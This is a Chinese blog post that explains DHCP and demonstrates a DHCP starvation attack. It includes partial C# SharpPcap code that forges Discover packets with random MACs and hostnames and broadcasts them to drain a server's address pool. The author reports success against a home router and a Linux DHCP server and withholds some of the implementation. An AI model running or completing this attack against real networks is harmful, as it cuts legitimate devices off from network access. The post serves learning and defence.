天天看點

DHCP協定原理分析與饑餓攻擊的實作

DHCP協定原理分析與饑餓攻擊的實作

    • 有以下基礎的同學'食用'效果最佳
    • 實驗過程用到的工具
    • DHCP協定介紹
    • DHCP互動過程
    • DHCP封包格式
    • DHCP饑餓攻擊
    • DHCP攻擊思路
          • 攻擊互動過程
          • 攻擊封包生成過程
          • 資料封裝過程
    • 編碼實戰
    • 攻擊效果展示
    • 結論

有以下基礎的同學’食用’效果最佳

  • 網絡基礎知識
  • 開發基礎知識

    本文章僅做學習記錄和交流,不提供任何成品

實驗過程用到的工具

  • WinPcap 用于二層網絡發包
  • SharpPcap C#調用WinPcap的開源nuget包
  • Visual Studio 開發工具
  • WireShark 抓包工具
  • Linux伺服器 充當傀儡機(DHCP伺服器)

DHCP協定介紹

DHCP(動态主機配置協定)是一個區域網路的網絡協定。指的是由伺服器控制一段IP位址範圍,客戶機登入伺服器時就可以自動獲得伺服器配置設定的IP位址和子網路遮罩。

DHCP互動過程

DHCP協定原理分析與饑餓攻擊的實作
  1. DHCP用戶端向DHCP伺服器請求配置設定ip位址時會發送discover廣播封包
  2. DHCP伺服器收到discover請求封包後,響應攜帶空閑IP、租約時間、網關、DHCP伺服器IP等資訊的offer封包。根據discover封包内的Bootp flags辨別選擇廣播或單點傳播響應
  3. DHCP用戶端收到DHCP服務端offer封包後根據封包内攜帶的空閑IP發起request封包請求
  4. DHCP服務端收到DHCP用戶端的request封包後,正常情況下會響應ack封包,将該空閑IP配置設定給DHCP用戶端

    百度百科解析

DHCP封包格式

DHCP協定原理分析與饑餓攻擊的實作

封包各字段描述篇幅過長,這裡不再贅述,詳見:

百度百科 DHCP封包格式介紹

DHCP饑餓攻擊

攻擊原理:攻擊者通過僞造MAC位址持續大量地向DHCP伺服器申請IP位址,直到耗盡DHCP伺服器位址池的IP位址,使DHCP伺服器無法再給正常的主機配置設定IP位址,使得正常主機不能通路網絡。

進階攻擊:攻擊者可以僞造DHCP伺服器配置設定ip位址給客戶機,實作中間人攻擊(可以通過DHCP Snooping防禦)

DHCP攻擊思路

攻擊互動過程
  1. 僞造MAC、主機名,建構發送DHCP_Discover攻擊封包
  2. 根據DHCP伺服器響應的DHCP_Offer封包取得預配置設定的IP位址(DHCP資料封包的yiaddr字段)和DHCP伺服器IP位址[Option: (54) DHCP Server Identifier)]
  3. 取DHCP_Offer封包的yiaddr字段的IP位址和DHCP伺服器IP位址,建構發送DHCP_Request攻擊封包
  4. DHCP伺服器響應DHCP_Ack,成功配置設定IP(非法占用IP)
攻擊封包生成過程

TCP/IP四層結構模型資料生成

  1. 生成應用層資料–>DHCP資料包(DATA)
  2. 生成傳輸層資料–>UDP資料包(PORT)
  3. 生成網絡層資料–>IP資料包(IP)
  4. 生成接口層資料–>實體層資料包(MAC)
資料封裝過程
DHCP協定原理分析與饑餓攻擊的實作

編碼實戰

由于篇幅有限、代碼放出會造成不必要的危害。故不展示全部具體實作方法,隻摘取部分關鍵代碼。

實作過程中還有封包校驗碼計算等功能,這裡就不展示了

/// 建構DHCP_Discover資料封包
        /// </summary>
        /// <param name="xid">DHCP事務id</param>
        /// <param name="V_address">請求配置設定ip的Mac位址(僞造)</param>
        /// <param name="hostname">主機名</param>
        /// <returns>DHCP_Discover資料封包位元組數組</returns>
        private byte[] DHCP_Discover_Packet(byte[] xid, PhysicalAddress V_address, string hostname)
        {
            byte[] data = new byte[]{
            0x01, 0x01, 0x06, 0x00,//用戶端發送給DHCP伺服器
            0x30, 0x7b, 0x44, 0xb6,//事務ID。用戶端發起一次請求時選擇的随機數,用來辨別一次位址請求過程
            0x00, 0x00, 0x80, 0x00,//secs & flags,flags 08 00 讓dhcp廣播回複
            0x00, 0x00, 0x00, 0x00,//ciaddr
            0x00, 0x00, 0x00, 0x00,//yiaddr
            0x00, 0x00, 0x00, 0x00,//siaddr
            0x00, 0x00, 0x00, 0x00,//giaddr
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//chaddr的MAC
            //為友善閱讀,省略部分過長封包
            0x63, 0x82, 0x53, 0x63,//Magic cookie: DHCP
            0x35, 0x01, 0x01,//Option: (53) DHCP Message Type (Discover)
            0x3d, 0x07, 0x01,//Option: (61) Client identifier,Length: 7,Hardware type: Ethernet (0x01)
            0x6a, 0xdd, 0x07, 0xcf, 0x50, 0x42,//Option: (61) Client identifier,MAC位址
            0x0c,//Option: (12) Host Name
            0x0f,//Option: (12) Host Name,下面主機名的長度,Length
            0x44, 0x45, 0x53, 0x4b, 0x54, 0x4f, 0x50, 0x2d, 0x46, 0x43, 0x35, 0x41, 0x32, 0x39, 0x42,//Option: (12) Host Name,主機名
            0x3c, 0x08, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30,//Option: (60) Vendor class identifier
            0x37, 0x0e, 0x01, 0x03, 0x06, 0x0f, 0x1f, 0x21, 0x2b, 0x2c, 0x2e, 0x2f, 0x77, 0x79, 0xf9, 0xfc,//Option: (55) Parameter Request List
            0xff,//Option: (255) End
            };
            
            寫入事務ID
            寫入MAC
            寫入hostname
			return data;
       }
           
/// <summary>
        /// 生成DHCP二層通訊封包
        /// </summary>
        /// <param name="address">實體網卡位址</param>
        /// <param name="baseData">DHCP封包資料</param>
        /// <returns>傳回DHCP二層通訊封包</returns>
        public EthernetPacket Create_Packet(PhysicalAddress address, byte[] baseData, ushort IP_Identification)
        {
            //建構UDP封包,DHCP使用UDP協定67和68端口
            UdpPacket udpData = UDP_Packet(68, 67, baseData);

            //建構IP封包。發送廣播請求IP位址
            IPPacket ipData = IP_Packet(IPAddress.Parse("0.0.0.0"), IPAddress.Parse("255.255.255.255"), IP_Identification, udpData);

            //建構二層封包,二層廣播封包目的MAC位址為6個FF
            EthernetPacket ethData = Eth_Packet(address, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), ipData);

            return ethData;
        }
           
/// <summary>
        /// 發送攻擊資料報
        /// </summary>
        private void Send_Attack_Packet()
        {
            ConstructingPackets constructingPackets = new ConstructingPackets();

            byte[] xid = Get_Random_Xid();//随機事務id
            PhysicalAddress v_mac = new PhysicalAddress(Get_Random_MAC());//虛拟mac位址
            string hostname = Get_Random_Hostname();//虛拟主機名

            EthernetPacket data = constructingPackets.Create_DHCP_Discover(device.MacAddress, xid, v_mac, hostname, IP_Identification);//建構資料包

            device.SendPacket(data.Bytes);//發包
           
            Console.WriteLine("發包成功 DHCP_Discover --> xid = {0} , mac = {1} , hostname = {2} ", r_xid, v_mac, hostname);
            Console.WriteLine();

        }
           

攻擊效果展示

通過程式批量發送10個請求discover和request封包,成功占用10個ip位址,圖中取第一個封包做效果展示

DHCP協定原理分析與饑餓攻擊的實作

檢視DHCP伺服器的ip配置設定資訊,可以看到位址池的ip已經被占用。

DHCP協定原理分析與饑餓攻擊的實作

結論

實驗過程中攻擊家用路由器、linux搭建的DHCP伺服器均有效。由于DHCP伺服器的IP位址池被非法攻擊占滿後,新增的裝置發送dhcp_discover請求,DHCP伺服器不再響應任何封包。

文中如果有錯誤歡迎各位大佬指正

繼續閱讀